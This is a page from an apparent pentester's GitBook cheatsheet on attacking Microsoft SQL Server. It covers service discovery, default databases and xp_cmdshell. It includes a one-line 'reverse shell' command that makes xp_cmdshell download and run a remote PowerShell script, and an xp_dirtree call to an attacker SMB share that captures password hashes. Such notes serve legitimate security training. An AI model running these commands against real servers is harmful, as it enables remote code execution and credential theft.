Notes
  • ๐Ÿ‘€About me
  • โ„น๏ธGood Reads
  • ๐ŸŒWeb
    • Web Pentesting Checklist
    • Insecure Deserialization
    • Blind XPath Injection
    • GraphQL
    • Reverse Shells
      • IIS
    • Content-Security-Policy
      • XSS (Static Nonce in CSP)
    • LLM (Large Language Models)
  • ๐Ÿ“˜Windows API
    • C# - P/Invoke
  • โ˜•Miscellaneous Topics
    • Phishing with Gophish
    • Pentest Diaries
      • SQL Queries via Grafana
      • LDAP Pass Back Attack
      • Misconfigured File Upload to RCE
  • ๐ŸงƒHack The Box
    • Intelligence
    • Seal
    • Under Construction
    • Previse
    • Return
    • Sauna
    • Nest
  • ๐Ÿ“•TryHackMe
    • Wordpress CVE-2021-29447
    • Attacktiv
    • Fortress
    • internal
  • ๐Ÿ› ๏ธCheatsheet
    • Anti-Forensic Techniques
    • JSON - jq
    • Docker
    • Hidden Secrets
    • Database Exploitation
      • PostgreSQL
        • Blind SQLi script
      • SQL Server
    • C Sharp
    • Reversing
      • Windows
    • SSH
    • Python
      • Miscellaneous Scripts
        • Credential Bruteforcing a CLI service
    • Privilege Escalation
      • Windows
    • socat
    • OSINT
      • Shodan
    • Installation
Powered by GitBook
On this page
  • # Discovery
  • # Default Databases:
  • # impacket-mssqlclient command cheatsheet
  • # Command Execution

Was this helpful?

  1. Cheatsheet
  2. Database Exploitation

SQL Server

Microsoft SQL Server

PreviousBlind SQLi scriptNextC Sharp

Last updated 2 years ago

Was this helpful?

# Discovery

Searching for and locating MSSQL installations inside the internal network can be achieved using UDP foot-printing. When MSSQL installs, it installs either on TCP port 1433 or a randomized dynamic TCP port. If the port is dynamically attributed, querying UDP port 1434 will provide us with information on the server including the TCP port on which the service is listening. msf > use auxiliary/scanner/mssql/mssql_ping

# Default Databases:

On every SQL Server instance there is a number of default system databases. Those are: - master - keeps the information for an instance of SQL Server. - msdb - used by SQL Server Agent. - model - template database copied for each new database. - resource - read only database that keeps system objects that are visible in every database on the server in sys schema. - tempdb - keeps temporary objects for SQL queries.

# impacket-mssqlclient command cheatsheet

# Command Execution

- xp_cmdshell is a very powerful feature and disabled by default. xp_cmdshell can be enabled and disabled by using the Policy-Based Management or by executing sp_configure. - When it is called by a user that is not a member of the sysadmin fixed server role, xp_cmdshell connects to Windows by using the account name and password stored in the credential named ##xp_cmdshell_proxy_account##. If this proxy credential does not exist, xp_cmdshell will fail.

# Reverse Shell using impacket-mssqlclient [Observe the escape of quotes]
xp_cmdshell powershell iex(New-Object Net.WebClient).DownloadString(\"http://10.10.14.18:8000/ivs.ps1\")

- DB list - SELECT name FROM master.dbo.sysdatabases - Extract hash - exec xp_dirtree '\\10.10.14.5\SHARE' - Execute commands - User should be a member of 'sysadmin' role. Query - select IS_SRVROLEMEMBER('sysadmin');

๐Ÿ› ๏ธ
https://docs.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver16
Hunting for MSSQL | Offensive Securityoffsectraining
Source
PayloadsAllTheThings/MSSQL Injection.md at master ยท swisskyrepo/PayloadsAllTheThingsGitHub
xp_cmdshell (Transact-SQL) - SQL Serverdocsmsft
Logo
Reverse shell
Logo
Logo